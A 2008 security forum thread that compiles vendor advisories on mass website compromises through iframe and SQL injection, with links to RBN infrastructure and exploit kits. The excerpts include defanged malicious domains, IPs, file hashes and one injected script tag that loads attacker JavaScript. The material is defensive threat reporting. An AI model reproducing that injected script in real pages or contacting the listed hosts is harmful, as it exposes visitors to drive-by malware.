Full court press by RBN and Chinese hacks
Have a look...
Malicious site: MSNBC Sports compromised
1- http://www.websense.com/securitylabs...hp?AlertID=848
March 18, 2008
Spammers using Google ads to redirect users to Malware:
2- http://preview.tinyurl.com/2opnkh
March 17, 2008 (McAfee Avert Labs)
IFRAME redirects...
3- http://www.networkworld.com/news/200...ve-iframe.html
March 16, 2008 - "...Danchev* listed more than 20 sites that together account for more than 401,000 IFRAME-injected pages... he had identified more than 100 bogus .info domains that were acting as the second-stage redirectors. Trace it back far enough, and the path leads to the Russian Business Network (RBN)..."
* http://ddanchev.blogspot.com/2008/03...-injected.html
March 12, 2008
Shadowserver report: I/P in China serving malicious javascript...
4- http://www.shadowserver.org/wiki/pmw....20080313#toc1
March 13, 2008 - ...in conjunction/coordination with:
4A- http://www.us-cert.gov/current/#sear...ection_attacks
updated March 14, 2008
4B- http://www.us-cert.gov/current/#webs...xploitation_of
updated March 14, 2008
(Multiple sites) ...getting RBN-ed
5- http://ddanchev.blogspot.com/2008/03...ng-rbn-ed.html
March 10, 2008 - "...The attack is still ongoing, this time successfully injecting a multitude of new domains into Wired Magazine, and History.com's search engines, which are again caching anything submitted, particularly not validated input to have the malicious parties in the face of the RBN introducing a new malware..."
Example: http://ca.com/us/securityadvisor/pes...x?id=453119651
More to come...
:fear::fear::fear::fear::fear::spider:
4,500 different domains... 150 new domains each day
FYI...
- http://www.sophos.com/security/blog/2008/03/1243.html
30 March 2008 - "...Our data for all records processed since March 1st 2008 (so approximately 4 weeks worth of data). The data reveals almost 11,000 pages compromised with Troj/Unif-B, split across approximately 4,500 different domains. That is a fair amount of activity, approximately 150 new domains each day (and this is just what we are seeing)... For the 4,500 compromised domains, these targets fall into two categories:
1. additional attack sites. Some other site which hits the victim with exploits.
2. redirect or ‘control’ sites. Some other site, controlled by the attacker, which can be used to direct traffic (as discussed previously). Typically, these sites direct victims to one of several other attack sites (though there may be several redirects in use). There a number of prominent attacks visible in the data:
* ~30% use a renowned attack site for installing various malware including Mal/Dropper-T, Mal/EncPk-CM and Mal/EncPk-CO.
* Tibs: over 10% are redirect sites under the control of a large and well coordinated group. Numerous domains have been used by this group in recent months to install a variety of Dorf, Tibs and other malware.
* Zbot: almost 10% load exploits intended to install a member of the Mal/Zbot family.
* Gpack: approximately 5% point to a single GPack attack site, which installs malware detected as Mal/Emogen-Y.
....something recently talked about by Roger Thompson, on the Exploit Prevention Labs blog*... As speculated previously ( http://www.sophos.com/images/sophosl...008/02/map.png ), it is not unlikely that these sites could be used to make money by selling ‘traffic flow’ (attackers essentially paying for victims to be directed to their attack sites for a period of time)..."
* http://explabs.blogspot.com/2008/03/gpack.html
March 28, 2008 - "...It's just javascript, and thus far, we've only seen one exploit come out of it ... a mouldy, old MS06-014, although we expect there are more than that... while there is clearly more than one set of Bad Guys involved, most of them seem to being hosted by the same ISP, because the exploit IPs are similar..."
:fear::spider::fear:
More compromised websites... with trojan
FYI...
Election time in Italy, complete with Trojan
- http://preview.tinyurl.com/52adbn
April 11, 2008 - "Symantec has been notified that the Web site ladestra.info, a site related to a right-wing Italian political party, has been compromised. The Web site is hosting a malicious iframe that leads to a typical browser exploit using the Neosploit tool, which forces an infected computer to install the newest version of Trojan.Mebroot. Using elections as a channel for spreading malicious code is something we have already seen (for example, Srizbi*) and it’s now election time in Italy as well, with the vote set to happen next Sunday and Monday, April 13th and 14th, 2008. Nonetheless, unless the Mebroot gang is interested in Italian politics, I do not believe the Web site has been compromised for political reasons. We have recently seen the group uploading malicious iframes** on many different Web sites for their purposes, with complete disregard for the content..."
* http://preview.tinyurl.com/2349ds
** http://preview.tinyurl.com/yrxcym
:fear::fear:
Malicious websites/code - UN and UK gov't sites compromised
FYI...
- http://securitylabs.websense.com/con...erts/3070.aspx
04.22.2008 - "...malicious JavaScript injection that compromised thousands of domains at the start of this month, just 2-3 weeks ago. The attackers have now switched over to a new domain as their hub for hosting the malicious payload in this attack. We have no doubt that the two attacks are related... In the last few hours we have seen the number of compromised sites increase by a factor of ten. This mass injection is remarkably similar to the attack we saw earlier this month. When a user browses to a compromised site, the injected JavaScript loads a file named 1.js which is hosted on hxxp ://www.nihao[removed].com The JavaScript code then redirects the user to 1.htm (also hosted on the same server). Once loaded, the file attempts 8 different exploits (the attack last April utilised 12). The exploits target Microsoft applications, specifically browsers not patched against the VML exploit MS07-004 as well as other applications. Ominously files named McAfee.htm and Yahoo.php are also called by 1.htm but are no longer active at the time of writing. There are further similarities too between the two mass attacks. Resident on the latest malicious domain is a tool used in the execution of the attack. An analysis of that tool can be found in the ISC diary entry here*... It appears that same tool was used to orchestrate this attack too. When we first started tracking the use of this domain, the malicious JavaScript was still making use of hxxp ://www.nmida[removed].com/... Sites of varying content have been infected including UK government sites, and a United Nations website as can be seen by the Google search... The number of sites affected is in the hundreds of thousands..."
* http://isc.sans.org/diary.html?n&storyid=4294
Last Updated: 2008-04-16 19:14:00 UTC
:fear::fear:
Hundreds of thousands of SQL injections
FYI...
Hundreds of thousands of SQL injections
- http://isc.sans.org/diary.html?storyid=4331
Last Updated: 2008-04-24 19:36:50 UTC - "UPDATE.
It is recommend that you block access to hxxp :/www .nihaorr1.com and the IP it resolves to 219DOT153DOT46DOT28 at the edge or border of your network.
1.js is the file they are currently injecting. That could change and has been injected into thousands of legitimate websites. Visitors to this website are “treated” to 8 different exploits for many windows based applications including AIM, RealPlayer, and iTunes. DO NOT visit sites that link to this site as you are very likely to get infected. Trendmicro named the malware toj_agent.KAQ it watches for passwords and passes them back to contoller’s ip.
The crew over at shadowserver has published additional information related to SQL injected sites. They included the botnet controllers IP address 61.188.39.214 and a content based snort signature for the bot control traffic that is not ip dependent. The bot controller is alive and communicating on port 2034 with some infected clients at this time.
http://www.shadowserver.org/wiki/pmw...endar.20080424
http://www.shadowserver.org/wiki/pmw...endar.20080313
They have hit city websites, commercial sites and even government websites. This type of injection pretty much null and voids the concept of “trusted website”. or "safe sites".
The register covered it stating their search returned 173k injected results:
http://www.theregister.co.uk/2008/04...ss_web_attack/
The number I received doing the same search was 226k. Those are not all unique websites. Many sites got hit more then one time.
Lou a self described “accidental techie” has been discussing it as they have been reinjecting this into his database/website “every other day”. http://www.experts-exchange.com/Data..._23337211.html
Websense has good information on it here:
http://securitylabs.websense.com/con...erts/3070.aspx
We covered the injection tool, the methods to prevent injections and other details here:
http://isc.sans.org/diary.html?storyid=4139
http://isc.sans.org/diary.html?storyid=4294 ..."
:fear::fear::fear:
SQL Injection Worm on the Loose
FYI...
- http://isc.sans.org/diary.html?storyid=4393
Last Updated: 2008-05-07 05:12:53 UTC - "A loyal ISC reader... wrote in to point us at what looks to be a SQL Injection worm that is on the loose. From a quick google search it shows that there are about 4,000 websites infected and that this worm started at least mid-April if not earlier. Right now we can't speak intelligently to how they are getting into databases, but what they are doing is putting in some scripts and iframes to take over visitors to the websites. It looks like the infection of user machines is by Real Player vulnerabilities that seem more or less detected pretty well. The details, the script source that is injected into webpages is hxxp ://winzipices .cn /#.js (where # is 1-5). This, in turn, points to a cooresponding asp page on the same server. (i.e. hxxp :// winzipices .cn/#.asp). This in turn points back to the exploits. Either from the cnzz .com domain or the 51 .la domain. The cnzz .com (hxxp ://s141 .cnzz .com) domain looks like it could be set up for single flux, but it's the same pool of IP address all the time right now. hxxp ://www .51 .la just points to 51la .ajiang .net which has a short TTL, but only one IP is serving it.
Fair warning, if you google this hostnames, you will find exploited sites that will try and reach out and "touch" you... even if you are looking at the "cached" page. Proceed at your own risk.
UPDATE: We're also see this website serving up some attacks in connection with this SQL Worm
(hxxp ://bbs .jueduizuan .com)"
:fear::fear:
New SQL Injection Attacks and New Malware: winzipices .cn
FYI...
- http://www.shadowserver.org/wiki/pmw...endar.20080507
7 May 2008
"Warning: We strongly suggest that readers NOT visit websites mentioned as being behind the attacks discussed. They should be considered dangerous and capable of infecting your system.
As predicted, the attacks against ASP and ASP.NET pages via SQL injection have continued. This time the domain name "winzipices.cn" is in the spotlight. It has managed to find itself in the source of over 4,000 pages according to Google. ISC has also has a short diary today mentioning this attack here. It turns out this is also something we have been taking a look at now for a few days. With that being said, we would like to share some information that can help protect end users and organizations. It would appear that our attackers in this instance are taking advantage of the same issues we have discussed in some of our recent postings. However, we do know that the malware and malicious file trail here are different than the last few attacks. If your websites has been hacked or you are visiting a hacked website, you will find something like this in your HTML source in the page you visit:
"<script src=hxxp ://winzipices .cn/ 5.js></script>"
It appears that 1.js, 2.js, 3.js, and 4.js are also present. Each of these files in turn have hidden iframes...
Malware Binaries:
File MD5: 8ca53bf2b7d8107d106da2da0f8ca700 (test.exe)
File Size: 28301 bytes
File MD5: 5c9322a95aaafbfabfaf225277867f5b (1.exe)
File Size: 38400 bytes
Protection & Detection
As always we recommend that you block access to the malicious domains and sites. Using a content filter, changing DNS entries, and blocking IP addresses are all valid methods. Of course being up-to-date on your patches can also go a long way. Here's a quick recap of the malicious sites/IP addresses involved in this attack:
-winzipices.cn [60.191.239.229]
-61.188.38.158
-61.134.37.15
Note that blocking by IP address could potentially block other legitimate pages on the host (not likely in this case). It's also generally only valid or helpful for a short period of time as attackers frequently change both IP addresses and domain names."
:fear::fear::fear: